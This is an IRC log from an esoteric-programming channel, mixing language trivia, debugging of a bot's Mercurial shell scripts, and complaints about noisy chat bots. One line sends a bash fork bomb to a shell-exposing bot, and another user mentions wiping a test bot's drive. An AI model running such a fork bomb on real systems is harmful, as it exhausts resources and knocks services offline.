21:30:13 -!- boily has joined.
22:04:03 -!- J_Arcane has quit (Ping timeout: 240 seconds).
22:09:01 -!- J_Arcane has joined.
22:27:29 -!- J_Arcane_ has joined.
22:28:11 -!- J_Arcane has quit (Ping timeout: 244 seconds).
22:28:24 -!- J_Arcane_ has changed nick to J_Arcane.
22:29:17 -!- J_Arcane has quit (Client Quit).
22:34:48 -!- gamemanj has quit (Ping timeout: 250 seconds).
22:35:01 -!- boily has quit (Quit: ECTOPLASMIC CHICKEN).
22:38:53 -!- iconmaster has joined.
22:38:53 -!- iconmaster has quit (Client Quit).
23:09:22 -!- J_Arcane has joined.
23:17:11 -!- hppavilion[1] has joined.
23:17:25 <moon_> hii
23:24:38 <izabera> does any language in the c family implement &&= and ||= ?
23:24:56 <izabera> a &&= b would be a = a && b
23:25:50 <moon_> nope, as far as i know, nope
23:28:38 -!- ^v has quit (Ping timeout: 244 seconds).
23:41:03 <zzo38> I don't know any, but have occasionally wanted it both in a C code and in a JavaScript code (in JavaScript the && and || operators are somewhat different from in C; && selects the right side if the left side is true, or the left side otherwise; || selects the right side if the left side is false, and the left side otherwise). In GNU C you ca use ?: without anything in between too, similar to || of JavaScript
23:46:26 -!- ^v has joined.
23:47:23 <moon_> hi ^V
23:47:27 <moon_> *v
23:47:30 <moon_> ^v
23:47:53 <^v> moon_, hi
23:48:15 <moon_> remember how prooftechnique (i think) pinged you with havocbot?
23:54:31 <moon_> ^ ^v
2016-06-12
00:01:37 -!- boily has joined.
00:03:14 <moon_> hi boily
00:03:18 <moon_> im rnning a linux bot
00:03:45 <boily> mhelloon_! you have a bot! yay!
00:04:45 <moon_> its in #esoteric-blah
00:04:48 <moon_> gentoo linux bot
00:14:00 -!- evalj has joined.
00:22:23 <^v> moon_, you are referring to the BEL character right?
00:32:17 <moon_> mhm
00:35:20 <izabera> did cobol use base10 numbers?
00:35:58 <izabera> i found a pdf where they say that cobol puts 0-9 in each nibble
00:45:17 <moon_> ybden (and me) just formatted the C: drive of b_jonas's termbot
00:45:46 <izabera> that's not very nice
00:45:57 <moon_> he said we can ruin it tho
00:46:00 <shachaf> Ruby has &&= and ||=
00:47:29 <izabera> nice
00:48:03 -!- ^v has quit (Quit: ZNC - http://znc.in).
00:50:29 -!- ^v has joined.
00:54:41 -!- ^v has quit (Read error: Connection reset by peer).
00:55:14 -!- oerjan has joined.
00:57:04 <moon_> hi oerjan
00:57:28 <moon_> ybden has been messing with my virtual screen over hbot :P
00:57:33 <oerjan> high moon_
00:58:27 <moon_> oerjan, could i attempt to see how much usage havocbot will get in #esoteric so i can modify it to be less noisy?
00:58:49 <moon_> i dont think a experiment crew would gather in #esoteric-blah :P
00:58:57 -!- copumpkin has joined.
00:59:27 -!- ^v has joined.
01:00:40 <shachaf> copumpkin: hellopumpkin
01:01:41 <oerjan> Dobroily wieczór.
01:01:55 -!- Phantom__Hoover has joined.
01:02:00 <moon_> hi phantom
01:02:12 <hppavilion[1]> Huh, this is interesting
01:02:21 <hppavilion[1]> The 'di' in 'dilemma' is an actual root
01:02:28 <hppavilion[1]> Meaning that there's also such thing as a "trilemma"
01:02:35 <boily> Jórjan estét.
01:02:40 <hppavilion[1]> Which is significant enough to have a wikipedia page
01:02:53 <hppavilion[1]> AND it's a pretty well-documented one; not just a stub or somecuh
01:02:56 <hppavilion[1]> *somesuch
01:03:00 <boily> hppavellon[1], Phantom__Heloover.
01:04:26 <oerjan> hppavilion[1]: now look at tetralemma hth
01:05:05 <hppavilion[1]> So you can also have a tetralemma, pentalemma, etc.
01:05:16 <hppavilion[1]> And I suppose a monolemma, kind of
01:05:26 <boily> and a nillemma.
01:05:42 -!- Phantom_Hoover has quit (Ping timeout: 260 seconds).
01:05:54 <oerjan> boily: is nil- a greek root?
01:06:20 <hppavilion[1]> medenlemma?
01:06:32 <hppavilion[1]> oerjan: nulli is latin, not sure about nil
01:06:40 <hppavilion[1]> Wikipedia says the greek 0 root is meden
01:06:42 <Taneb> There's a popular song about someone facing an undecentumlemma
01:07:01 <boily> no idea if nil- is greek, but “nillemma” sounds neat.
01:07:21 <boily> haplolemma? sesquilemma?
01:07:25 <b_jonas> heh
01:07:28 <hppavilion[1]> boily: Fair enough, and we've done worse
01:07:33 <hppavilion[1]> "hexadecimal"
01:08:33 <hppavilion[1]> dodecatolemma, ogdoölemma, hectolemma, tetratolemma, tritolemma, hemilemma, monolemma
01:08:54 <b_jonas> ecalemma
01:08:58 <b_jonas> no
01:08:59 <hppavilion[1]> Huh, latin has sesqui (1.5), but also quasqui (1.25) (only in certain contexts though)
01:09:02 <b_jonas> ekalemma
01:09:03 <boily> hppavilion[1]: ogdoö???
01:09:20 <hppavilion[1]> myrialemma
01:09:23 <hppavilion[1]> boily: Apparently
01:09:28 -!- hbot has joined.
01:09:47 <zzo38> Knuth is said to prefer "senidenary" for Latin of group by sixteen
01:09:48 <boily> hbot: :(){ :|:& };:
01:09:58 <hppavilion[1]> What's the greek infinite?
01:10:05 <hppavilion[1]> countilemma and uncountilemma
01:10:24 <boily> one countilemma, ha ha ha, two countilema, ha ha ha...
01:10:55 <hppavilion[1]> boily: I would like to see advanced sesame street, with the count demonstrating countable and uncountable sets and such
01:11:40 <hppavilion[1]> googolemma
01:11:54 <oerjan> aleph_zero integers, ha ha ha, aleph__zero integers, ha ha ha, aleph__zero integers, ha ha ha ...
01:12:02 <hppavilion[1]> "You must choose exactly one of the fundamental particles in the observable universe"
01:12:02 <zzo38> (Other variants mentioned are "sexadecimal", "hexadecadic", and "sedenary".)
01:12:06 <oerjan> oops
01:12:10 <moon_> wait why did havocbot join?
01:12:16 <hppavilion[1]> I'll stick with sexadecimal
01:12:17 <moon_> urgh
01:12:19 <moon_> bad bort
01:12:21 <moon_> bad
01:12:27 <boily> bort bort bort ♪
01:12:29 <hppavilion[1]> (1+i)lemma?
01:12:45 <zzo38> "Hexadecimal" or "hex" is common so what I and others will commonly use.
01:14:33 -!- hbot has quit (Ping timeout: 240 seconds).
01:18:13 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
01:19:20 <oerjan> <boily> qrf sadly is unporthelloable... what should it be? <-- qrfternoon hth
01:19:52 <oerjan> oh wait no qr534h99h
01:20:00 <oerjan> hm nah
01:20:10 <oerjan> doesn't work
01:20:14 <shachaf> qrfternooner?
01:20:44 <shachaf> `? fternooner
01:20:59 <HackEgo> fternooner (Danish »fternooner«, Norwegian «ttermiddag», Swedish ”ftermiddag”) is a screamingly delicious pastry.
01:21:34 -!- hbot has joined.
01:21:50 -!- ChanServ has set channel mode: +o oerjan.
01:21:51 <shachaf> What happened to that bot being in #-blah?
01:21:56 -!- oerjan has set channel mode: +b *!*hbot@*.dhcp.embarqhsd.net.
01:22:00 -!- oerjan has set channel mode: -o oerjan.
01:22:08 <moon_> idk what it did
01:22:11 <oerjan> hth
01:22:15 <moon_> i jst rolled back
01:22:30 <shachaf> `before bin
01:22:32 <moon_> someone put a magnet to its virtual drive
01:22:51 <shachaf> `before is TG
01:22:54 <HackEgo> bin bin/? bin/@ bin/No bin/WELCOME bin/addquote bin/allquotes bin/calc bin/define bin/delquote bin/etymology bin/forget bin/fortune bin/frink bin/google bin/hatesgeo bin/json bin/k bin/karma bin/karma+ bin/karma- bin/learn bin/log bin/logurl bin/macro bin/marco bin/ok bin/paste bin/pastekarma bin/pastelog bin/pastelogs bin/pastenquotes bin/pastequo
01:23:00 <shachaf> help
01:23:03 <shachaf> `before is broken
01:23:14 <shachaf> I wonder whether `after would be useful.
01:23:28 <shachaf> `cat bin/before
01:23:30 <HackEgo> lastfiles "$@" | while read f; do echo -n "$f//"; hg cat -r "$(hg log --template '{rev}\n' "$f" | tail -n+2 | head -n1)" "$f"; done
01:23:36 <shachaf> `lastfiles bin
01:23:41 <HackEgo> bin bin/? bin/@ bin/No bin/WELCOME bin/addquote bin/allquotes bin/calc bin/define bin/delquote bin/etymology bin/forget bin/fortune bin/frink bin/google bin/hatesgeo bin/json bin/k bin/karma bin/karma+ bin/karma- bin/learn bin/log bin/logurl bin/macro bin/marco bin/ok bin/paste bin/pastekarma bin/pastelog bin/pastelogs bin/pastenquotes bin/pastequo
01:23:47 <shachaf> `cat bin/lastfiles
01:23:48 <HackEgo> hg log -l 1 --template "{files}\n" -- "$@"
01:24:13 <shachaf> `` hg log -l 1 bin
01:24:24 <HackEgo> changeset: 121:8a04b0258775 \ user: HackBot \ date: Thu Mar 22 19:17:38 2012 +00000000 \ summary: <elliott> run mv bin test; touch bin
01:24:30 <shachaf> Oh. hg log doesn't log changes to files inside directories?
01:24:59 <oerjan> shachaf: hm isn
01:25:04 -!- evalj has quit (Remote host closed the connection).
01:25:08 <shachaf> `? isn
01:25:09 <oerjan> 't that inconsistent with what we've seen already
01:25:09 <HackEgo> isn? ¯\(°​_o)/¯
01:25:13 <shachaf> oh
01:25:16 <oerjan> `before share
01:25:21 <shachaf> Yes, something odd is going on here.
01:25:30 <HackEgo> share/test//share/test: no such file in rev 49d5a8654dd7
01:25:38 <shachaf> oops
01:25:40 <shachaf> more brokenness
01:25:46 <shachaf> `` hg log -l 1 share
01:25:54 <HackEgo> changeset: 8166:bdb02b531ce0 \ user: HackBot \ date: Wed May 25 22:01:44 2016 +00000000 \ summary: <shachaf> rm share/test
01:25:56 <oerjan> shachaf: well isn't that what you'd expect if it was a file creation
01:26:06 -!- spockers has joined.
01:26:11 <shachaf> But apparently it was the opposite?
01:26:15 <oerjan> hm or apparently the opposite
01:26:38 <shachaf> `` hg log --removed -l 1 share
01:26:40 <boily> qrfternoon is retrobvious.
01:26:48 <HackEgo> changeset: 8166:bdb02b531ce0 \ user: HackBot \ date: Wed May 25 22:01:44 2016 +0000000 \ summary: <shachaf> rm share/test
01:26:55 <oerjan> boily: but a bit limited in usage
01:27:09 <boily> it's a start!
01:27:15 <shachaf> hg log --template '{rev}\n' share
01:27:29 -!- hbot has quit (Remote host closed the connection).
01:28:23 <shachaf> `` hg log --template '{rev}\n' share
01:28:30 <HackEgo> 8166 \ 8165 \ 8034 \ 8009 \ 8007 \ 8006 \ 8005 \ 7993 \ 7992 \ 7991 \ 7990 \ 7986 \ 7985 \ 7984 \ 7922 \ 7921 \ 7920 \ 7884 \ 7882 \ 7879 \ 7878 \ 7866 \ 7860 \ 7859 \ 7858 \ 7854 \ 7853 \ 7846 \ 7845 \ 7839 \ 7838 \ 7755 \ 7754 \ 7753 \ 7752 \ 7751 \ 7750 \ 7749 \ 7748 \ 7747 \ 7746 \ 7745 \ 7744 \ 7743 \ 7742 \ 7741 \ 7740 \ 7739 \ 7738 \ 7737 \
01:28:45 <shachaf> `` hg cat -r 8166 share/test
01:28:47 <moon_> `welcome spockers #i can verify he is new
01:28:59 <HackEgo> share/test: no such file in rev bdb02b531ce0
01:29:02 <HackEgo> spockers: #i: can: verify: he: is: new: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
01:29:03 <spockers> ;p
01:29:04 <shachaf> `` hg cat -r 8165 share/test
01:29:11 <HackEgo> one
01:29:43 <shachaf> `` hg log --template '{rev}\n' share | tail -n+1 | head -n1
01:29:49 <HackEgo> 8166
01:29:53 <shachaf> `` hg log --template '{rev}\n' share | tail -n+2 | head -n1
01:29:58 <HackEgo> 8165
01:30:16 <shachaf> `` hg cat -r "$(hg log --template '{rev}\n' share | tail -n+2 | head -n1)" share/test
01:30:21 <oerjan> moon_: you need to meditate more on HackEgo's syntax twh
01:30:25 <HackEgo> one
01:30:37 <shachaf> moon_: Why are you /msging that to me instead of sending it in the channel?
01:30:54 <moon_> idk
01:30:56 <moon_> `? dwgtsrezxtvrsbhmt
01:30:58 <HackEgo> dwgtsrezxtvrsbhmt? ¯\(°​_o)/¯
01:31:55 <moon_> spockers has a markov chain bot, which i found intresting and i thought would fit this channel
01:32:22 <oerjan> fungot: you may be up for a death match soon hth
01:32:22 <fungot> oerjan: i need a better place after the commands
01:32:25 <boily> there is only one fungot and your fungot is fungot.
01:32:25 <fungot> boily: i don't intend to. but even in my native poland he wasn't really helping anyway heh... " sports"
01:32:37 <shachaf> `lastfiles share
01:32:42 <HackEgo> share/test
01:32:55 <shachaf> `` hg log --template '{rev}\n' share
01:33:03 <HackEgo> 8166 \ 8165 \ 8034 \ 8009 \ 8007 \ 8006 \ 8005 \ 7993 \ 7992 \ 7991 \ 7990 \ 7986 \ 7985 \ 7984 \ 7922 \ 7921 \ 7920 \ 7884 \ 7882 \ 7879 \ 7878 \ 7866 \ 7860 \ 7859 \ 7858 \ 7854 \ 7853 \ 7846 \ 7845 \ 7839 \ 7838 \ 7755 \ 7754 \ 7753 \ 7752 \ 7751 \ 7750 \ 7749 \ 7748 \ 7747 \ 7746 \ 7745 \ 7744 \ 7743 \ 7742 \ 7741 \ 7740 \ 7739 \ 7738 \ 7737 \
01:33:08 <shachaf> `` hg log --template '{rev}\n' share/test
01:33:11 <HackEgo> 8165
01:33:17 <shachaf> `` hg log --removed --template '{rev}\n' share/test
01:33:22 <HackEgo> 8166 \ 8165
01:33:28 <shachaf> `cat bin/before
01:33:29 <HackEgo> lastfiles "$@" | while read f; do echo -n "$f//"; hg cat -r "$(hg log --template '{rev}\n' "$f" | tail -n+2 | head -n1)" "$f"; done
01:33:45 <shachaf> `sled bin/before//s/log/log --removed/
01:33:50 <HackEgo> bin/before//lastfiles "$@" | while read f; do echo -n "$f//"; hg cat -r "$(hg log --removed --template '{rev}\n' "$f" | tail -n+2 | head -n1)" "$f"; done
01:33:52 <shachaf> `before share/test
01:34:01 <HackEgo> share/test//one
01:34:02 <shachaf> `before share
01:34:14 <HackEgo> share/test//one
01:34:24 <shachaf> OK, that's one, I guess.
01:34:27 <shachaf> `before bin
01:34:41 <HackEgo> bin bin/? bin/@ bin/No bin/WELCOME bin/addquote bin/allquotes bin/calc bin/define bin/delquote bin/etymology bin/forget bin/fortune bin/frink bin/google bin/hatesgeo bin/json bin/k bin/karma bin/karma+ bin/karma- bin/learn bin/log bin/logurl bin/macro bin/marco bin/ok bin/paste bin/pastekarma bin/pastelog bin/pastelogs bin/pastenquotes bin/pastequo
01:34:48 <shachaf> `lastfiles bin
01:34:52 <HackEgo> bin bin/? bin/@ bin/No bin/WELCOME bin/addquote bin/allquotes bin/calc bin/define bin/delquote bin/etymology bin/forget bin/fortune bin/frink bin/google bin/hatesgeo bin/json bin/k bin/karma bin/karma+ bin/karma- bin/learn bin/log bin/logurl bin/macro bin/marco bin/ok bin/paste bin/pastekarma bin/pastelog bin/pastelogs bin/pastenquotes bin/pastequo
01:34:53 <shachaf> `cat bin/lastfiles
01:34:53 <HackEgo> hg log -l 1 --template "{files}\n" -- "$@"
01:34:56 <shachaf> Is this too much spam?
01:35:08 -!- iaglium_ has joined.
01:35:34 <oerjan> `` hg log share/test | grep ummary
01:35:46 <shachaf> `` hg log --removed -l 1 --template '{files}\n' bin/
01:35:48 <HackEgo> summary: <shachaf> ` cp tmp/test share/test
01:35:54 <HackEgo> bin/before
01:35:58 <shachaf> Hmm.
01:36:07 <shachaf> `sled bin/lastfiles//s/log/log --removed/
01:36:12 <HackEgo> bin/lastfiles//hg log --removed -l 1 --template "{files}\n" -- "$@"
01:36:18 <shachaf> `before bin
01:36:28 <HackEgo> bin/lastfiles//hg log -l 1 --template "{files}\n" -- "$@"
01:36:29 <oerjan> only one?
01:36:34 <oerjan> `culprits share/test
01:36:40 <HackEgo> shachaf shachaf
01:36:43 <oerjan> oh.
01:37:06 <oerjan> `` hg log --removed share/test | grep ummary
01:37:11 <HackEgo> summary: <shachaf> rm share/test \ summary: <shachaf> ` cp tmp/test share/test
01:37:20 <oerjan> oh i was just confused
01:37:21 <shachaf> `cat bin/hoag
01:37:22 <HackEgo> hg log --removed --template "{desc}\n" "$@"
01:37:27 <shachaf> oerjan: hth
01:37:45 <shachaf> I get the feeling we should only ever use hg log --removed, really.
01:37:45 <oerjan> shachaf: thought you'd made it, although i'd forgotten you'd renamed it
01:38:11 <shachaf> `sled bin/hoag//s/"\$@"/-- "$@"/
01:38:13 <HackEgo> bin/hoag//hg log --removed --template "{desc}\n" -- "$@"
01:38:16 <shachaf> `sled bin/hog//s/"\$@"/-- "$@"/
01:38:18 <HackEgo> bin/hog//hg log --template "{desc}\n" -- "$@"
01:40:02 -!- hexxley has joined.
01:40:24 <shachaf> `` hg log --template '{desc}\n' bin/hoag
01:40:24 <moon_> `welcome hexxley
01:40:25 <hexxley> hexxley
01:40:31 <HackEgo> ​<shachaf> sled bin/hoag//s/"\\$@"/-- "$@"/ \ <shachaf> ` mv bin/ho{gue,ag}
01:40:31 <hexxley> \ calls to objc_msgsend?!
01:40:33 <shachaf> `` hg log -f --template '{desc}\n' bin/hoag
01:40:34 <HackEgo> hexxley: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
01:40:34 <hexxley> hit me if one that released to desktop platform information, and creates pseudo-packages from that whole apple are you asking for when i dont know what i was not the conflict of you from the volume up it started yet
01:40:38 <HackEgo> ​<shachaf> sled bin/hoag//s/"\\$@"/-- "$@"/ \ <shachaf> ` mv bin/ho{gue,ag} \ <shachaf> mkx bin/hogue//hg log --removed --template "{desc}\\n" "$@" \ <shachaf> mkx bin/hogue//hg log --remvoed --template "{desc}
01:40:39 <hexxley> ​<shachaf> sled bin/hoag//s/\\$@/-- $@/ \ <shachaf> ` mv bin/ho{gue,ag}
01:40:57 <shachaf> moon_: Is hexxley another annoying bot of yours?
01:40:57 <hexxley> dont have cloud icon to reenable it feels better than yours?
01:41:02 <moon_> No
01:41:06 <oerjan> ^echo hi hexxley
01:41:06 <fungot> hi hexxley hi hexxley
01:41:06 <hexxley> .bucket panties hexxley hexxley panties hexxley panties today?
01:41:06 <hexxley> hexxley apparently won a firetv 4k ...
01:41:13 <oerjan> oh.
01:41:15 <spockers> it's an annoying bot of mine...
01:41:15 <hexxley> btter than mine...
01:41:35 <shachaf> hexxley: Please go away, you're being annoying.
01:41:35 <hexxley> but yeah i'm sure third party vote is the ancient disney films terrible, not knowing who will change it away, and make anything darker i haven't been having issues with something else
01:41:38 <spockers> I can remove it though, it gets a little... excessive
01:41:38 <hexxley> \ thought mine was excessive :)
01:41:47 -!- hexxley has quit (Client Quit).
01:42:24 <shachaf> Oh, spockers *has* a markov chain bot.
01:42:32 <spockers> lol yeah
01:42:32 <shachaf> Not *is* a markov chain bot.
01:42:39 <spockers> sometimes I wonder
01:42:49 <oerjan> shachaf: [citation needed]
01:44:18 <shachaf> My apologies for thinking you're a Markov chain bot.
01:44:29 <moon_> *hahahahaha*
01:44:51 <moon_> I redirected him to #esoteric-blah for hexxley
01:48:29 <boily> shachaf: that wouldn't be the first time we have a cyborg who joined our chännel...
01:48:30 <Phantom__Hoover> spockers, why would you think having it talk after every message would be a good idea??
01:48:43 <boily> myndzi: you alive?
01:49:53 <Phantom__Hoover> /o/
01:50:00 <Phantom__Hoover> ripip
01:53:46 <oerjan> oh it did that
01:54:17 <oerjan> fungot: i think you won the death match hth
01:54:17 <fungot> oerjan: the " why"
01:54:26 <boily> fungot: the who?
01:54:27 <fungot> boily: we speak english here.
01:54:40 <moon_> hexxley has been relocated to #esoteric-blah
01:54:41 <boily> fungot: bin oui messemble.
01:54:41 <fungot> boily: you're at berkeley, the library doesn't need to so that's cool. i'd really like to know
01:54:42 <oerjan> fungot: because your opponent was so annoying it got killed hth
01:54:43 <fungot> oerjan: but i could be wrong... never looked at the problem. 2 write down something you think it couldn't be opened
01:54:57 <shachaf> fungot: no, i'm the one who's at berkeley hth
01:54:57 <fungot> shachaf: i need to
01:55:31 <shachaf> fungot: what do you think of nuclear-free zones
01:55:32 <fungot> shachaf: ( i'm away for a second you thought you did know about scheme, i can provide a debian package
01:56:12 <oerjan> i don't approve of nuclear-free zones; without nuclei we'd not exist hth
01:56:28 <moon_> lol
01:56:43 <moon_> `quote <oerjan> i don't approve of nuclear-free zones; without nuclei we'd not exist hth
01:56:45 <HackEgo> No output.
01:56:46 <oerjan> (in two different senses, even)
01:56:49 <spockers> Phantom__Hoover: it's a configurable percentage, set at 50% at the moment generally and 95% on mention of its nick
01:56:54 <moon_> `addquote <oerjan> i don't approve of nuclear-free zones; without nuclei we'd not exist hth
01:56:58 <HackEgo> 1281) <oerjan> i don't approve of nuclear-free zones; without nuclei we'd not exist hth
01:57:21 <shachaf> `5
01:57:24 <HackEgo> 1/2:666) <monqy> kallisti: by ordered multiset did you mean: list?????? \ 251) 00:07 Sgeo has quit (IRC is taking up too much of my time. I need time to study the Bible and find Christ.) 00:12 Sgeo has joined #esoteric. \ 338) <oklopol> so about jacuzzis, do they usually have a way to make it it not heat but freeze the water? \ 146
01:57:25 <shachaf> `spam
01:57:27 <HackEgo> 2/2:) <fungot> elliott: it's hard to debug havoc on your mirror if you accidentally hit r, then a character could be multiple words long, depending on the task. \ 484) <zzo38> I think Perl is a programming language too. [...] \
01:57:46 <shachaf> Sgeo_: Did you find Christ?
01:58:07 <moon_> <Sgeo_> Nope! did you?
02:05:33 <oerjan> <izabera> did cobol use base10 numbers? <-- i vaguely believe cobol has a data format description sublanguage?
02:05:43 <izabera> i know 0 cobol
02:05:53 <izabera> so idk
02:06:33 <izabera> was just interested in it
02:10:36 <oerjan> https://en.wikipedia.org/wiki/COBOL#USAGE_clause
02:11:10 <oerjan> but see also the preceding sections
02:12:32 <oerjan> summary: cobol is weird.
02:15:44 -!- Phantom__Hoover has quit (Read error: Connection reset by peer).
02:16:24 <moon_> i agree oerjan
02:17:11 <shachaf> oerjan: Well, Cohask is weird too.
02:17:23 <shachaf> That's why we don't usually use duals of languages.
02:22:23 <moon_> i've taught hexxley how to pretend to be linux, just not very well
02:24:16 <moon_> spockers: hexxley made a file :P
02:27:16 <moon_> [21:25] <hexxley> hbot: mk dtrsd//made by hexxley yo
02:28:04 <shachaf> `cat bin/mk
02:28:05 <HackEgo> ​[[ "$1" == ?*//* ]] || { echo usage: "mk[x]" file//contents >&2; exit 1; }; key="${1%%//*}"; value="${1#*//}"; echo "$value" > "$(echo-p "$key")" && echo "$key"
02:28:34 <shachaf> A version of mk that uses echo -e could be useful.
02:28:38 <moon_> hbot had mk ported to it
02:42:21 -!- boily has quit (Quit: AUTONOMOUS CHICKEN).
02:42:24 <oerjan> `` echo test\nho
02:42:26 <HackEgo> testnho
02:43:02 -!- iaglium_ has quit (Max SendQ exceeded).
02:43:31 <oerjan> `` echo "test\nho"
02:43:33 <HackEgo> test\nho
02:46:12 -!- hppavilion[1] has joined.
02:55:23 <moon_> hexxley is getting out of hand
02:55:25 <moon_> [21:54] <autocorrect> hexxley: Bite my shiny metal ass [21:54] <hexxley> bite my shiny
02:55:42 <moon_> same thing with the autocorrect bot
03:32:08 <Sgeo_> shachaf, that quote is missing the context of it was on April 1st
03:33:03 <shachaf> OK, but did you?
03:34:56 -!- moon_ has quit (Ping timeout: 250 seconds).
03:37:55 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
03:44:20 <zzo38> I think it would be useful to add into Node.js (but not core JavaScript) some module that includes "createWatchedWeakMap" method; this may be useful with FFI. It creates an empty weak map, but the argument is a function which is called whenever a key is garbage collected, and the argument to the function is the value corresponding to that key in the map. (Same module also include a function to explicitly cause garbage collection)
04:09:25 -!- MDude has quit (Quit: Going offline, see ya! (www.adiirc.com)).
04:33:12 -!- hppavilion[1] has joined.
04:35:47 -!- copumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…).
04:39:15 <hppavilion[1]> The Pólya conjecture is friggin weird
04:39:29 <hppavilion[1]> Is there a use for the prime factorial function `n?`?
04:47:18 <zzo38> I don't know what it is
04:51:21 <hppavilion[1]> zzo38: n? is the product of all prime numbers less than or equal to n
04:51:33 <zzo38> OK
05:13:31 <hppavilion[1]> "A particularly frequent type of stripping is not-stripping" --wikipedia
05:17:01 <hppavilion[1]> English can be communicated by speech or by text. Are there any other ways?
05:17:10 <oerjan> morse
05:17:31 <oerjan> semaphore
05:17:46 <zzo38> Those are just ways of transmitting the letters though, isn't it?
05:18:25 <oerjan> naval flag signals
05:39:01 -!- clog has quit (Ping timeout: 250 seconds).
05:39:18 <Sgeo_> `slist Homestuck Volume 10 released
05:39:27 <HackEgo> slist Homestuck Volume 10 released: Taneb atriq Ngevd nvd Fiora Sgeo ThatOtherPerson alot
05:40:18 <oerjan> AAAAAAA
05:40:49 -!- clog has joined.
05:40:55 <oerjan> WHEEEEEEW
05:41:04 <zzo38> BBBBBBA
05:53:59 <tswett> hppavilion[1]: there's Signed Exact English.
05:54:35 <shachaf> Sgeo_: more like Taneblist hth
05:55:14 <tswett> hppavilion[1]: so that'd be this function: https://en.wikipedia.org/wiki/Primorial
05:58:43 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
06:19:19 <Taneb> Sgeo_, ...
06:19:24 <Taneb> Oh, an album?
06:21:57 <Sgeo_> yes
06:24:01 -!- Kaynato has quit (Ping timeout: 252 seconds).
06:30:35 -!- bender has joined.
07:11:54 -!- bender has quit (Read error: Connection reset by peer).
07:28:28 -!- hppavilion[1] has joined.
07:40:38 <hppavilion[1]> "9 = 32" -- wikipedia
07:41:35 <\oren\> I should make my own bdf to ttf conversion program
07:45:31 <\oren\> The chief problem I'm having implementing hangul is that fontforge starts to kill itself
07:46:26 <\oren\> fontforge doesn't stike me as the most tersely implemented program.
07:54:00 -!- lambda-11235 has quit (Quit: Bye).
07:54:01 <oerjan> hppavilion[1]: that's not even true in any positional base
07:54:49 <oerjan> hppavilion[1]: wait, was the 2 superscript
07:54:50 <hppavilion[1]> oerjan: Well yeah, neither is 2 = 10
07:54:56 <hppavilion[1]> oerjan: ...no
07:55:07 <oerjan> hppavilion[1]: um that's true in base 2
07:55:20 <hppavilion[1]> oerjan: No, in base 2, 2 isn't a valid symbol
07:55:26 <oerjan> WELL...
07:55:29 <hppavilion[1]> You can't switch bases in the middle of an equation
07:55:33 <oerjan> IF YOU HAVE TO BE NITPICKY.
07:55:46 <\oren\> hppavilion[1]: in dc you can
07:55:47 <hppavilion[1]> I like how wikipedia's article for Saint Peter lists his occupation as "fisherman, clergyman"
07:55:51 <zzo38> I think the IPA symbols are illogical they are all different you need a new symbol each one, and some things cannot be represented easily or at all. I can propose a better system
07:56:00 <hppavilion[1]> \oren\: Yes, but it has special notation to distinguish bases
07:56:25 <hppavilion[1]> zzo38: I think there's a reason that there are different IPA symbols for each sound
07:56:52 <hppavilion[1]> Namely, IPA is for unambiguously conveying sounds
07:56:57 <\oren\> well you could make some sort of procedurally-generated symbology
07:57:33 <\oren\> but that would make it harder for me to support it in my fonyt
07:58:04 <oerjan> there are many IPA diacritics too...
07:58:21 <oerjan> and some of them seem redundant with some of the symbols.
08:00:11 <zzo38> I would do you do not need such a chart to describe them, you can just write the combine of retroflex or stop or voiced or whatever, with flipping and rotating and crossed-out and so on to indicate variation, and so on. Therefore everything is easily representing without needing to define each one individually.
08:00:14 <\oren\> my font is not so good with diacritics
08:02:03 <hppavilion[1]> "Words build bridges into unexplored regions." -- Adolf Hitler
08:02:22 <oerjan> is that an accurate quote?
08:02:58 * oerjan recalls that inaccurate quote meme from a way back
08:03:17 <oerjan> where neither of picture, text or name are matched
08:03:32 <oerjan> might still be going on, i'm no longer reading those parts of reddit.
08:04:24 <\oren\> "I didn't say most of the stuff I said" -- McJagr
08:04:40 <\oren\> There the name is also spelled wrong
08:05:28 <oerjan> well i'm not sure what the correct spelling is, too many possibilities.
08:05:54 <oerjan> \oren\: i think maybe you need a misspelling in the text too
08:06:44 <oerjan> "I didnt say most of the stuff i said" -- McJagr
08:06:51 <oerjan> maybe too subtle
08:06:57 <hppavilion[1]> oerjan: Google says so
08:07:27 <oerjan> says what
08:07:31 <hppavilion[1]> oerjan: That one? "May the force be with you -- spock" with a picture of Dumbledore or somesuch?
08:07:42 <hppavilion[1]> oerjan: That it's an accurate quote
08:08:15 <oerjan> oh. sorry i was in the middle of conversing with \oren\ here
08:08:43 <oerjan> UR NIKS ARE TWO SIMMILER
08:09:30 <shachaf> `cat bin/before
08:09:42 <oerjan> http://lifehacker.com/10-surprisingly-inspirational-quotes-from-evil-people-1454328362
08:09:56 <oerjan> `bin/before cat
08:10:03 <HackEgo> lastfiles "$@" | while read f; do echo -n "$f//"; hg cat -r "$(hg log --removed --template '{rev}\n' "$f" | tail -n+2 | head -n1)" "$f"; done
08:10:22 <shachaf> `mkx bin/now//lastfiles "$@" | while read f; do echo -n "$f//"; cat "$f"; done
08:10:32 <hppavilion[1]> oerjan: Wait, HOOS NIKS?
08:10:49 <oerjan> hppavilion[1]: URS AN ORRENS HTH
08:11:02 <\oren\> I'm the only one here whose nick has a backslash
08:11:11 <hppavilion[1]> oerjan: I THINK YOU MIGHT HAVE A PROBLEM WITH WORDS HTH
08:11:22 <oerjan> WURDS R FINE
08:12:01 <oerjan> BUT Y DIDNT HAKEGO ANSUR ME
08:12:08 <shachaf> HackEgo: why are you so slow tdnh
08:12:16 <shachaf> the dogs now howl
08:12:17 <hppavilion[1]> oerjan: How could you possibly confuse us? Our names are different lengths, contain different characters, \oren\ has backslashes while I have [brackets], if any two nicks are to confuse someone it'd be yours and \oren\'s, and then only in retrospect
08:12:19 <HackEgo> cat junk/cat//cat junk/cat: no such file in rev 00959060a61f
08:12:23 <HackEgo> bin/now
08:12:34 <oerjan> YAI
08:12:37 <hppavilion[1]> HackEgo isn't slow, e's just special
08:13:00 <shachaf> I don't particularly like the use of "special" as an insult.
08:13:35 <\oren\> yea Dats DE OnlE rEsun I adid \ tU mI nik
08:13:59 <hppavilion[1]> shachaf: I didn't use it as an insult?
